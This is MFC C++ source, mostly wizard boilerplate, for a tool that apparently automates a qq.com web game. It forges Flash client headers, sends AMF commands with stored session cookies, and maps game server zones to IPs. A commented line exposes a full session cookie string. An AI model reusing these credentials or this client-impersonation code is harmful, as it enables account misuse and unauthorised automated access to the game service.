#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
#ifdef _WIN32
LANGUAGE 4, 2
#pragma code_page(936)
#endif //_WIN32
#include "res\7QW.rc2"  // non-Microsoft Visual C++ edited resources
#include "l.chs\afxres.rc"          // Standard components
#include "l.chs\afxprint.rc"        // printing/print preview resources
#endif

/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED
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源码/7QWDoc.cpp


??/7QWDoc.cpp

// 7QWDoc.cpp : implementation of the CMy7QWDoc class


//





#include "stdafx.h"


#include "7QW.h"





#include "7QWDoc.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CMy7QWDoc





IMPLEMENT_DYNCREATE(CMy7QWDoc, CDocument)





BEGIN_MESSAGE_MAP(CMy7QWDoc, CDocument)


    //{{AFX_MSG_MAP(CMy7QWDoc)


        // NOTE - the ClassWizard will add and remove mapping macros here.


        //    DO NOT EDIT what you see in these blocks of generated code!


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CMy7QWDoc construction/destruction





CMy7QWDoc::CMy7QWDoc()


{


    // TODO: add one-time construction code here





}





CMy7QWDoc::~CMy7QWDoc()


{


}





BOOL CMy7QWDoc::OnNewDocument()


{


    if (!CDocument::OnNewDocument())


        return FALSE;





    // TODO: add reinitialization code here


    // (SDI documents will reuse this document)





    return TRUE;


}











/////////////////////////////////////////////////////////////////////////////


// CMy7QWDoc serialization





void CMy7QWDoc::Serialize(CArchive& ar)


{


    if (ar.IsStoring())


    {


        // TODO: add storing code here


    }


    else


    {


        // TODO: add loading code here


    }


}





/////////////////////////////////////////////////////////////////////////////


// CMy7QWDoc diagnostics





#ifdef _DEBUG


void CMy7QWDoc::AssertValid() const


{


    CDocument::AssertValid();


}





void CMy7QWDoc::Dump(CDumpContext& dc) const


{


    CDocument::Dump(dc);


}


#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CMy7QWDoc commands








源码/7QWDoc.h

// 7QWDoc.h : interface of the CMy7QWDoc class
//
/////////////////////////////////////////////////////////////////////////////

#if !defined(AFX_7QWDOC_H__C858E36F_CEB4_4779_8587_8EDD0DE8BD06__INCLUDED_)
#define AFX_7QWDOC_H__C858E36F_CEB4_4779_8587_8EDD0DE8BD06__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000


class CMy7QWDoc : public CDocument
{
protected: // create from serialization only
	CMy7QWDoc();
	DECLARE_DYNCREATE(CMy7QWDoc)

// Attributes
public:

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CMy7QWDoc)
	public:
	virtual BOOL OnNewDocument();
	virtual void Serialize(CArchive& ar);
	//}}AFX_VIRTUAL

// Implementation
public:
	virtual ~CMy7QWDoc();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

protected:

// Generated message map functions
protected:
	//{{AFX_MSG(CMy7QWDoc)
		// NOTE - the ClassWizard will add and remove member functions here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_7QWDOC_H__C858E36F_CEB4_4779_8587_8EDD0DE8BD06__INCLUDED_)








源码/7QWView.cpp


??/7QWView.cpp

// 7QWView.cpp : implementation of the CMy7QWView class


//





#include "stdafx.h"


#include "7QW.h"





#include "7QWDoc.h"


#include "7QWView.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CMy7QWView





IMPLEMENT_DYNCREATE(CMy7QWView, CView)





BEGIN_MESSAGE_MAP(CMy7QWView, CView)


    //{{AFX_MSG_MAP(CMy7QWView)


        // NOTE - the ClassWizard will add and remove mapping macros here.


        //    DO NOT EDIT what you see in these blocks of generated code!


    //}}AFX_MSG_MAP


    // Standard printing commands


    ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint)


    ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint)


    ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView::OnFilePrintPreview)


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CMy7QWView construction/destruction





CMy7QWView::CMy7QWView()


{


    // TODO: add construction code here





}





CMy7QWView::~CMy7QWView()


{


}





BOOL CMy7QWView::PreCreateWindow(CREATESTRUCT& cs)


{


    // TODO: Modify the Window class or styles here by modifying


    //  the CREATESTRUCT cs





    return CView::PreCreateWindow(cs);


}





/////////////////////////////////////////////////////////////////////////////


// CMy7QWView drawing





void CMy7QWView::OnDraw(CDC* pDC)


{


    CMy7QWDoc* pDoc = GetDocument();


    ASSERT_VALID(pDoc);


    // TODO: add draw code for native data here


}





/////////////////////////////////////////////////////////////////////////////


// CMy7QWView printing





BOOL CMy7QWView::OnPreparePrinting(CPrintInfo* pInfo)


{


    // default preparation


    return DoPreparePrinting(pInfo);


}





void CMy7QWView::OnBeginPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)


{


    // TODO: add extra initialization before printing


}





void CMy7QWView::OnEndPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)


{


    // TODO: add cleanup after printing


}





/////////////////////////////////////////////////////////////////////////////


// CMy7QWView diagnostics





#ifdef _DEBUG


void CMy7QWView::AssertValid() const


{


    CView::AssertValid();


}





void CMy7QWView::Dump(CDumpContext& dc) const


{


    CView::Dump(dc);


}





CMy7QWDoc* CMy7QWView::GetDocument() // non-debug version is inline


{


    ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CMy7QWDoc)));


    return (CMy7QWDoc*)m_pDocument;


}


#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CMy7QWView message handlers








源码/7QWView.h

// 7QWView.h : interface of the CMy7QWView class
//
/////////////////////////////////////////////////////////////////////////////

#if !defined(AFX_7QWVIEW_H__773DDD1E_483D_4793_A4F0_22A3E38B587D__INCLUDED_)
#define AFX_7QWVIEW_H__773DDD1E_483D_4793_A4F0_22A3E38B587D__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000


class CMy7QWView : public CView
{
protected: // create from serialization only
	CMy7QWView();
	DECLARE_DYNCREATE(CMy7QWView)

// Attributes
public:
	CMy7QWDoc* GetDocument();

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CMy7QWView)
	public:
	virtual void OnDraw(CDC* pDC);  // overridden to draw this view
	virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
	protected:
	virtual BOOL OnPreparePrinting(CPrintInfo* pInfo);
	virtual void OnBeginPrinting(CDC* pDC, CPrintInfo* pInfo);
	virtual void OnEndPrinting(CDC* pDC, CPrintInfo* pInfo);
	//}}AFX_VIRTUAL

// Implementation
public:
	virtual ~CMy7QWView();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

protected:

// Generated message map functions
protected:
	//{{AFX_MSG(CMy7QWView)
		// NOTE - the ClassWizard will add and remove member functions here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

#ifndef _DEBUG  // debug version in 7QWView.cpp
inline CMy7QWDoc* CMy7QWView::GetDocument()
   { return (CMy7QWDoc*)m_pDocument; }
#endif

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_7QWVIEW_H__773DDD1E_483D_4793_A4F0_22A3E38B587D__INCLUDED_)








源码/7wAmfCmd.cpp


源码/7wAmfCmd.cpp

// 7wAmfCmd.cpp: implementation of the C7wAmfCmd class.


//


//////////////////////////////////////////////////////////////////////





#include "stdafx.h"


#include "7QW.h"


#include "7wAmfCmd.h"


#include "amf_object.h"


#include "amf_static.h"


#include "StaticFunctions.h"


#ifdef _DEBUG


#undef THIS_FILE


static char THIS_FILE[]=__FILE__;


#define new DEBUG_NEW


#endif





//////////////////////////////////////////////////////////////////////


// Construction/Destruction


//////////////////////////////////////////////////////////////////////


CString C7wAmfCmd::m_strCookies="";


CMapStringToString  C7wAmfCmd::m_mapDomanByte;


CMapStringToString  C7wAmfCmd::m_mapSelectBuild;


CString C7wAmfCmd::m_strDomain="";











C7wAmfCmd::C7wAmfCmd()


{





}





C7wAmfCmd::~C7wAmfCmd()


{





}





UINT C7wAmfCmd::_Decode7WAmfCmd(BYTE *pbuf, UINT ulen, BOOL bGzip,CMainFrame *pfm)


{


    //不管三七二十一,先把数据缓冲先


    //开辟缓冲区 


    DWORD dwlen;


    CString strlog;


    BYTE  *pdest=(BYTE  *)malloc(sizeof(BYTE)*ulen);


    memcpy(pdest,pbuf,ulen);


    CByteArray *parray; 


    parray=new CByteArray();


    parray->SetSize(ulen);


    if(bGzip)


    {





        dwlen=amf_static::_DeGzip(pdest,parray,ulen);


        if(dwlen<=ulen)


        {


            strlog.Format("解析失败[%d/%d]",ulen,dwlen);


            pfm->SetLogString(strlog,0);


            return 0;


        }   


    }else


    {


        memcpy(parray->GetData(),pdest,ulen);


    }


    


/*  CString temp;


    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"_log";


    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


    file.Write(parray->GetData(),parray->GetSize());


    file.Close();*/








    TAG_context ctx;


    amf_object::init_context(&ctx,NULL,NULL);


    TAG_IoData* io = new TAG_IoData();


    


    io->buflen=parray->GetSize();


    io->buf=(unsigned char*)malloc(io->buflen);


    ::memcpy(io->buf,parray->GetData(),io->buflen);


    io->pos = 0;


    ctx.m_IFileHandle =io;


    //字节数组释放掉


    parray->RemoveAll();





    //pfm->SetLogString(strlog,0);


    //选跳过头部


    amf_static::read_head(&ctx);





    //准备解析amf3数据,并树形控制件上进行显示


    amf_object_handle aoh=amf_static::read_elem(&ctx);


    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;





    if(iox->pos==io->buflen)


    {


        strlog.Format("解析成功[%d/%d]",iox->pos,io->buflen);


        pfm->SetLogString(strlog,0);


    }


    else    


    {


        strlog.Format("解析不完整[%d/%d]",iox->pos,io->buflen);


        pfm->SetLogString(strlog,0);


    


    }





    CString strdata;





    //准备把解析结果显示以树形控件上


    pfm->m_pFun1LeftView->_InsertRootItem();


    amf_static::_DumpAmf(aoh,pfm->m_pFun1LeftView->m_hRoot,pfm->m_pFun1LeftView->GetTreeCtrl(),strdata);


    pfm->SetLogString(strdata,0);


    


    pfm->m_pFun1LeftView->GetTreeCtrl().Expand(pfm->m_pFun1LeftView->m_hRoot,TVE_EXPAND);


    amf_object::clear_context(&ctx);


    free(io->buf);


    delete io;


    return 1;


    





}





DWORD C7wAmfCmd::_SendAmfCmd(LPVOID lpParam)


{








    TAG_AMF3CMD *pamf=(TAG_AMF3CMD *)lpParam;


    CString strUrl,strHeader,strlog,strRecvHeader;


    TAG_HTTPRequest req;


    CHttpRequest  hrq;


    int iret;





    strUrl.Format("http://s%s.jn2.7.qq.com/dynasty/messagebroker/amf",C7wAmfCmd::m_strDomain);


    


    


    strHeader.Format("Accept: */*\r\n"


        "Accept-Language: zh-CN\r\n"


        "Referer: http://cdn.dl.7.qq.com/dynasty/swf/Loading.swf?039e16b91e52fda64fc733ef45898838\r\n"


        "x-flash-version: 10,2,159,1\r\n"


        "Content-Type: application/x-amf\r\n"


        "Content-Length: %d\r\n"


        "UA-CPU: x86\r\n"


        "Accept-Encoding: gzip, deflate\r\n"


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 


        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"


        "Host: s%s.jn2.7.qq.com\r\n"


        "Connection: Keep-Alive\r\n"


        "Cache-Control: no-cache\r\n",pamf->usize,m_strDomain);


    


//  C7wAmfCmd::m_strCookies="Cookie: JSESSIONID=689FDCA2C0895C0105D423A123CBDF0B; ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309767035%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7C619D2774526FD7570ACC1EF41749C155x; sFrom=website; pgv_pvid=5285421272; pgv_info=pgvReferrer=&ssid=s4025553806x; ptui_width=300; ptui_height=164; pt2gguin=o0042523276; uin=o0042523276; skey=@eGTkJKKDEx; ptisp=cnc";


    


    strHeader=strHeader+C7wAmfCmd::m_strCookies+"\r\n\r\n";





/*  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"send";


    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


    file.Write(pamf->buffer,pamf->usize);


    file.Close();*/








    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),pamf->buffer,pamf->usize,&req);


    if(!iret)


    {


        strlog.Format("发送%s指令成功,结果:%s",pamf->m_strcmd,req.headerReceive);


        pamf->pfm->SetLogString(strlog,0);


        //_SaveLogFile(&req);


    }else


    {


        strlog.Format("发送%s指令失败,结果:%s",pamf->m_strcmd,req.headerReceive);


        pamf->pfm->SetLogString(strlog,0);


    }


    


    strRecvHeader=req.headerReceive;


    BOOL bgzip;


    int i=0;


    if(strRecvHeader.Find("gzip")>0)


    {


        bgzip=TRUE;


        for(i=0;i<req.messageLength;i++)


        {


            if(((BYTE)*(req.message+i)==0x1F)&&((BYTE)*(req.message+i+1)==0x8B))


            {


                break;


            }


            


        }


        


    }else


    {


        bgzip=FALSE;


        


    }


    


    C7wAmfCmd::_Decode7WAmfCmd((BYTE *)req.message+i,req.messageLength-i,bgzip,pamf->pfm);


    


    free(req.message);


    free(req.headerReceive);


    





    return -1;








}





UINT C7wAmfCmd::_CreateAmf3Cmd(CByteArray *parray, CString strcmd, BYTE *pbuf, UINT ulen)


{


    int strlen=strcmd.GetLength();


    //00 00（AMF0版本）00 00（Header个数为0）00 01（AMF主体有1个）,6个字节 


    unsigned char amfcmd1[] ="\x00\x03\x00\x00\x00\x01";


    //这两个字节表示请求字符串长度,2个字节


    BYTE  reqlen[2]={0};


    reqlen[1]=(BYTE)strcmd.GetLength();


    //紧接着是请求字符串 strcmd 参数传递,字节数根据strcmd决定


    //再接下来是结果字符串"/99",5个字节


    BYTE resstr[]="\x00\x03\x2F\x39\x39";


    //请求数据的总长度,4个字节


    BYTE datalen[4]={0};


    datalen[3]=ulen;


    //最后是内容数据,长度是ulen个字节


    //开始构造CByteArray数组


    UINT utotal=6+2+strcmd.GetLength()+5+4+ulen;


    parray->SetSize(utotal);


    PBYTE phead=parray->GetData();


    memcpy(phead,amfcmd1,6);


    memcpy(phead+6,reqlen,2);


    memcpy(phead+8,strcmd.GetBuffer(0),strcmd.GetLength());


    memcpy(phead+8+strlen,resstr,5);


    memcpy(phead+13+strlen,datalen,4);


    memcpy(phead+17+strlen,pbuf,ulen);








    return -1;


}





void C7wAmfCmd::_SetGlobalParamaters()


{


    


    m_mapDomanByte.InitHashTable(240);





    ///////////////////////////////////////////////////////////////////////////////////////


    //华南大区


    m_mapDomanByte.SetAt("509","48.138.179.79");//509---华南区,广东13区


    m_mapDomanByte.SetAt("43","48.154.164.127");//43---华南区,中山2区


    m_mapDomanByte.SetAt("32","48.170.178.76"); //32---华南区,珠海1区


    m_mapDomanByte.SetAt("30","48.152.185.96"); //30---华南区,福建4区





    m_mapDomanByte.SetAt("40","48.155.216.40"); //40---华南区,东莞2区


    m_mapDomanByte.SetAt("21","48.162.192.101");//21---华南区,东莞1区


    m_mapDomanByte.SetAt("46","48.150.233.28"); //46---华南区,佛山2区


    m_mapDomanByte.SetAt("39","48.156.170.93"); //39---华南区,深圳2区


    m_mapDomanByte.SetAt("16","48.165.235.52"); //16---华南区,深圳1区


    m_mapDomanByte.SetAt("503","48.141.209.10"); //503---华南区,广州3区


    m_mapDomanByte.SetAt("36","48.152.235.27"); //36---华南区,广州2区


    m_mapDomanByte.SetAt("15","48.175.235.90"); //15---华南区,广州1区


    m_mapDomanByte.SetAt("28","48.153.156.32"); //28---华南区,惠州1区


    m_mapDomanByte.SetAt("25","48.162.133.97"); //25---华南区,中山1区


    m_mapDomanByte.SetAt("501","48.152.239.0"); //501---华南区,广西4区    


    m_mapDomanByte.SetAt("49","48.146.158.85"); //49---华南区,广西3区


    m_mapDomanByte.SetAt("22","48.160.237.18"); //22---华南区,广西2区


    m_mapDomanByte.SetAt("7","48.172.243.35");  //7---华南区,广西1区


    m_mapDomanByte.SetAt("44","48.151.137.76"); //44---华南区,福建7区


    m_mapDomanByte.SetAt("41","48.146.219.103"); //41---华南区,福建6区


    m_mapDomanByte.SetAt("37","48.150.156.126"); //37---华南区,福建5区


    m_mapDomanByte.SetAt("12","48.155.186.55"); //12---华南区,福建3区


    m_mapDomanByte.SetAt("10","48.166.241.70"); //10---华南区,福建2区


    m_mapDomanByte.SetAt("8","48.171.197.30");  //8---华南区,福建1区


    m_mapDomanByte.SetAt("17","48.159.193.45"); //17---华南区,福州1区


    m_mapDomanByte.SetAt("20","48.158.171.83"); //20---华南区,厦门1区


    m_mapDomanByte.SetAt("48","48.145.248.126"); //48---华南区,泉州2区


    m_mapDomanByte.SetAt("23","48.158.208.113"); //23---华南区,泉州1区


    m_mapDomanByte.SetAt("502","48.138.152.92"); //502---华南区,广东12区


    m_mapDomanByte.SetAt("42","48.150.176.54"); //42---华南区,广东11区


    m_mapDomanByte.SetAt("34","48.153.204.28"); //34---华南区,广东10区


    m_mapDomanByte.SetAt("26","48.152.234.123"); //26---华南区,广东9区


    m_mapDomanByte.SetAt("14","48.159.216.126"); //14---华南区,广东8区


    m_mapDomanByte.SetAt("13","48.164.177.114"); //13---华南区,广东7区


    m_mapDomanByte.SetAt("11","48.158.178.72"); //11---华南区,广东6区


    m_mapDomanByte.SetAt("6","48.164.242.44"); //6---华南区,广东5区


    m_mapDomanByte.SetAt("5","48.168.200.102"); //5---华南区,广东4区


    m_mapDomanByte.SetAt("4","48.169.218.87"); //4---华南区,广东3区


    m_mapDomanByte.SetAt("3","48.173.235.124"); //3---华南区,广东2区


    m_mapDomanByte.SetAt("2","48.190.248.82"); //2---华南区,广东1区


    m_mapDomanByte.SetAt("33","48.149.228.76"); //33---华南区,海南1区


    m_mapDomanByte.SetAt("47","48.140.240.103"); //47---华南区,江门1区


    m_mapDomanByte.SetAt("506","48.136.241.9"); //506---华南区,广西5区


    m_mapDomanByte.SetAt("510","48.137.233.120"); //510---华南区,深圳3区


    m_mapDomanByte.SetAt("516","48.132.203.9"); //516---华南区,福建8区


    m_mapDomanByte.SetAt("517","48.131.204.110"); //517---华南区,广东14区





////////////////////////////////////////////////////////////////////////////////


//华北大区











    m_mapDomanByte.SetAt("602","48.169.228.66"); //602---华北区,体验2区


    m_mapDomanByte.SetAt("658","48.134.192.65"); //658---华北区,山东8区


    m_mapDomanByte.SetAt("646","48.147.145.110"); //646---华北区,石家庄1区


    m_mapDomanByte.SetAt("633","48.149.233.103"); //633---华北区,北京6区


    m_mapDomanByte.SetAt("610","48.155.138.65"); //610---华北区,北京5区


    m_mapDomanByte.SetAt("605","48.157.164.75"); //605---华北区,北京4区


    m_mapDomanByte.SetAt("604","48.162.246.89"); //604---华北区,北京3区


    m_mapDomanByte.SetAt("0","维护中......"); //0---华北区,北京2区


    m_mapDomanByte.SetAt("603","48.183.161.39"); //603---华北区,北京1区


    m_mapDomanByte.SetAt("619","48.158.235.12"); //619---华北区,郑州1区


    m_mapDomanByte.SetAt("629","48.162.251.35"); //629---华北区,河南3区


    m_mapDomanByte.SetAt("624","48.155.185.107"); //624---华北区,河南2区


    m_mapDomanByte.SetAt("607","48.182.239.69"); //607---华北区,河南1区


    m_mapDomanByte.SetAt("649","48.152.177.23"); //649---华北区,潍坊1区


    m_mapDomanByte.SetAt("654","48.137.243.54"); //654---华北区,山东7区


    m_mapDomanByte.SetAt("648","48.138.235.59"); //648---华北区,山东6区


    m_mapDomanByte.SetAt("643","48.145.249.89"); //643---华北区,山东5区


    m_mapDomanByte.SetAt("641","48.146.243.12"); //641---华北区,山东4区


    m_mapDomanByte.SetAt("625","48.162.207.84"); //625---华北区,山东3区


    m_mapDomanByte.SetAt("612","48.164.230.64"); //612---华北区,山东2区


    m_mapDomanByte.SetAt("606","48.183.178.37"); //606---华北区,山东1区


    m_mapDomanByte.SetAt("620","48.151.232.54"); //620---华北区,济南1区


    m_mapDomanByte.SetAt("638","48.146.147.20"); //638---华北区,烟台1区


    m_mapDomanByte.SetAt("630","48.152.138.27"); //630---华北区,青岛1区


    m_mapDomanByte.SetAt("650","48.146.183.113"); //650---华北区,山西3区


    m_mapDomanByte.SetAt("628","48.148.187.86"); //628---华北区,山西2区


    m_mapDomanByte.SetAt("614","48.174.216.51"); //614---华北区,山西1区


    m_mapDomanByte.SetAt("344","48.150.239.90"); //344---华北区,陕西2区


    m_mapDomanByte.SetAt("615","48.165.185.88"); //615---华北区,陕西1区


    m_mapDomanByte.SetAt("636","48.155.209.66"); //636---华北区,天津2区


    m_mapDomanByte.SetAt("617","48.152.241.80"); //617---华北区,天津1区


    m_mapDomanByte.SetAt("634","48.161.238.123"); //634---华北区,唐山1区


    m_mapDomanByte.SetAt("655","48.146.198.61");  //655---华北区,河北4区


    m_mapDomanByte.SetAt("640","48.147.156.83");  //640---华北区,河北3区


    m_mapDomanByte.SetAt("623","48.151.206.98");  //623---华北区,河北2区


    m_mapDomanByte.SetAt("608","48.176.181.78");  //608---华北区,河北1区


    m_mapDomanByte.SetAt("644","48.150.219.99");  //644---华北区,太原1区


    m_mapDomanByte.SetAt("657","48.136.196.85");  //657---华北区,北京7区


    m_mapDomanByte.SetAt("659","48.138.174.82");  //659---华北区,河南4区


    m_mapDomanByte.SetAt("661","48.131.234.63");  //661---华北区,山东9区


//////////////////////////////////////////////////////////////////////////////////





//华东大区





    m_mapDomanByte.SetAt("511","48.138.250.70");  //511---华东区,浙江9区


    m_mapDomanByte.SetAt("336","48.145.145.76");  //336---华东区,无锡1区


    m_mapDomanByte.SetAt("338","48.152.134.43");  //338---华东区,南京1区





    m_mapDomanByte.SetAt("345","48.145.225.123");  //345---华东区,台州1区


    m_mapDomanByte.SetAt("350","Error");  //350---华东区,徐州1区


    m_mapDomanByte.SetAt("504","48.137.193.54");  //504---华东区,上海8区





    m_mapDomanByte.SetAt("342","48.142.187.16");  //342---华东区,上海7区


    m_mapDomanByte.SetAt("323","48.148.133.49");  //323---华东区,上海6区


    m_mapDomanByte.SetAt("309","48.152.141.47");  //309---华东区,上海5区


    m_mapDomanByte.SetAt("304","48.153.248.21");  //304---华东区,上海4区


    m_mapDomanByte.SetAt("303","48.159.154.62");  //303---华东区,上海3区





    m_mapDomanByte.SetAt("302","48.159.211.59");  //302---华东区,上海2区


    m_mapDomanByte.SetAt("301","48.175.244.120");  //301---华东区,上海1区


    m_mapDomanByte.SetAt("366","48.138.169.116");  //366---华东区,江苏7区





    m_mapDomanByte.SetAt("353","48.144.193.95");  //353---华东区,江苏6区


    m_mapDomanByte.SetAt("346","48.147.135.28");  //346---华东区,江苏5区


    m_mapDomanByte.SetAt("341","48.145.203.93");  //341---华东区,江苏4区





    m_mapDomanByte.SetAt("319","48.156.168.60");  //319---华东区,江苏3区


    m_mapDomanByte.SetAt("313","48.159.255.42");  //313---华东区,江苏2区


    m_mapDomanByte.SetAt("308","48.175.181.4");  //308---华东区,江苏1区


    m_mapDomanByte.SetAt("365","48.139.191.87");  //365---华东区,浙江8区


    m_mapDomanByte.SetAt("363","48.148.207.44");  //363---华东区,浙江7区


    m_mapDomanByte.SetAt("357","48.146.174.79");  //357---华东区,浙江6区


    m_mapDomanByte.SetAt("339","48.156.250.31");  //339---华东区,浙江5区


    m_mapDomanByte.SetAt("322","48.148.240.98");  //322---华东区,浙江4区


    m_mapDomanByte.SetAt("318","48.154.156.45");  //318---华东区,浙江3区





    m_mapDomanByte.SetAt("311","48.153.140.87");  //311---华东区,浙江2区


    m_mapDomanByte.SetAt("306","Error");  //306---华东区,浙江1区


    m_mapDomanByte.SetAt("361","48.146.232.26");  //361---华东区,温州2区


    m_mapDomanByte.SetAt("326","48.148.191.57");  //326---华东区,温州1区


    m_mapDomanByte.SetAt("358","48.149.220.118");  //358---华东区,安徽4区


    m_mapDomanByte.SetAt("335","48.146.183.47");  //335---华东区,安徽3区


    m_mapDomanByte.SetAt("315","48.159.202.78");  //315---华东区,安徽2区


    m_mapDomanByte.SetAt("312","48.169.244.1");  //312---华东区,安徽1区


    m_mapDomanByte.SetAt("362","48.153.169.31");  //362---华东区,苏州2区


    m_mapDomanByte.SetAt("327","48.148.156.32");  //327---华东区,苏州1区





    m_mapDomanByte.SetAt("328","48.144.239.10");  //328---华东区,杭州1区


    m_mapDomanByte.SetAt("331","48.147.247.76");  //331---华东区,合肥1区


    m_mapDomanByte.SetAt("332","48.147.194.1");  //332---华东区,宁波1区


    m_mapDomanByte.SetAt("349","48.150.135.90");  //349---华东区,嘉兴1区





    m_mapDomanByte.SetAt("354","48.159.190.124");  //354---华东区,义乌1区


    m_mapDomanByte.SetAt("507","48.136.168.90");  //507---华东区,江苏8区


    m_mapDomanByte.SetAt("512","48.137.180.86");  //512---华东区,江苏9区








//////////////////////////////////////////////////////////////////////////////////////





//西部大区


    m_mapDomanByte.SetAt("513","48.134.184.40");  //513---西部区,四川8区


    m_mapDomanByte.SetAt("355","48.151.217.41");  //355---西部区,宁夏1区


    m_mapDomanByte.SetAt("352","48.148.247.72");  //352---西部区,云南2区


    m_mapDomanByte.SetAt("351","48.150.217.108"); //351---西部区,绵阳1区


    m_mapDomanByte.SetAt("505","48.143.239.30");  //505---西部区,西安1区


    m_mapDomanByte.SetAt("343","48.150.139.123"); //343---西部区,贵州2区


    m_mapDomanByte.SetAt("320","48.158.128.109"); //320---西部区,贵州1区


    m_mapDomanByte.SetAt("45","48.144.249.95");   //45---西部区,贵阳1区


    m_mapDomanByte.SetAt("508","48.135.186.65");  //508---西部区,四川7区


    m_mapDomanByte.SetAt("356","48.150.226.70");  //356---西部区,四川6区


    m_mapDomanByte.SetAt("347","48.148.206.60");  //347---西部区,四川5区


    m_mapDomanByte.SetAt("340","48.148.166.27");  //340---西部区,四川4区


    m_mapDomanByte.SetAt("324","48.156.238.37");  //324---西部区,四川3区


    m_mapDomanByte.SetAt("310","48.161.149.61");  //310---西部区,四川2区


    m_mapDomanByte.SetAt("305","48.178.219.20");  //305---西部区,四川1区


    m_mapDomanByte.SetAt("369","48.143.167.88");  //369---西部区,重庆4区


    m_mapDomanByte.SetAt("359","48.146.156.94");  //359---西部区,重庆3区


    m_mapDomanByte.SetAt("337","48.150.246.68");  //337---西部区,重庆2区


    m_mapDomanByte.SetAt("9", "48.165.187.94");    //9---西部区,重庆1区


    m_mapDomanByte.SetAt("329","48.152.139.78");   //329---西部区,成都1区


    m_mapDomanByte.SetAt("316","48.159.137.77");   //316---西部区,云南1区


    m_mapDomanByte.SetAt("334","48.147.181.80");   //334---西部区,昆明1区


    m_mapDomanByte.SetAt("348","48.146.168.96");   //348---西部区,甘肃1区


    m_mapDomanByte.SetAt("368","48.142.192.39");   //368---西部区,兰州1区





//华中大区





    m_mapDomanByte.SetAt("514","48.134.160.60");   //514---华中区,湖南6区





    m_mapDomanByte.SetAt("367","48.137.234.92");   //367---华中区,湖北6区


    m_mapDomanByte.SetAt("360","48.146.218.47");   //360---华中区,湖北5区


    m_mapDomanByte.SetAt("35","48.150.182.78");   //35---华中区,湖北4区


    m_mapDomanByte.SetAt("24","48.151.180.126");   //24---华中区,湖北3区


    m_mapDomanByte.SetAt("317","48.156.157.61");   //317---华中区,湖北2区


    m_mapDomanByte.SetAt("307","48.172.157.112");   //307---华中区,湖北1区


    m_mapDomanByte.SetAt("364","48.155.157.112");   //364---华中区,湖南5区


    m_mapDomanByte.SetAt("38","48.147.221.35");   //38---华中区,湖南4区





    m_mapDomanByte.SetAt("27","48.146.249.127");   //27---华中区,湖南3区


    m_mapDomanByte.SetAt("325","48.154.243.28");   //325---华中区,湖南2区


    m_mapDomanByte.SetAt("314","48.166.128.82");   //314---华中区,湖南1区





    m_mapDomanByte.SetAt("31","48.148.149.39");   //31---华中区,江西2区





    m_mapDomanByte.SetAt("321","48.160.167.113");   //321---华中区,江西1区


    m_mapDomanByte.SetAt("330","48.151.247.23");   //330---华中区,武汉1区


    m_mapDomanByte.SetAt("18","48.150.162.64");   //18---华中区,长沙1区


    m_mapDomanByte.SetAt("333","48.158.252.116");   //333---华中区,南昌1区


    m_mapDomanByte.SetAt("515","48.131.145.103");   //515---华中区,湖北7区





//东北大区





    m_mapDomanByte.SetAt("660","48.132.254.16");//660---东北区,辽宁7区


    m_mapDomanByte.SetAt("653","48.138.145.13");//653---东北区,内蒙古2区


    m_mapDomanByte.SetAt("622","48.152.159.3"); //622---东北区,内蒙古1区


    m_mapDomanByte.SetAt("652","48.137.203.19");//652---东北区,辽宁6区


    m_mapDomanByte.SetAt("645","48.140.203.4"); //645---东北区,辽宁5区








    m_mapDomanByte.SetAt("639","48.145.148.14"); //639---东北区,辽宁4区


    m_mapDomanByte.SetAt("627","48.147.140.53"); //627---东北区,辽宁3区


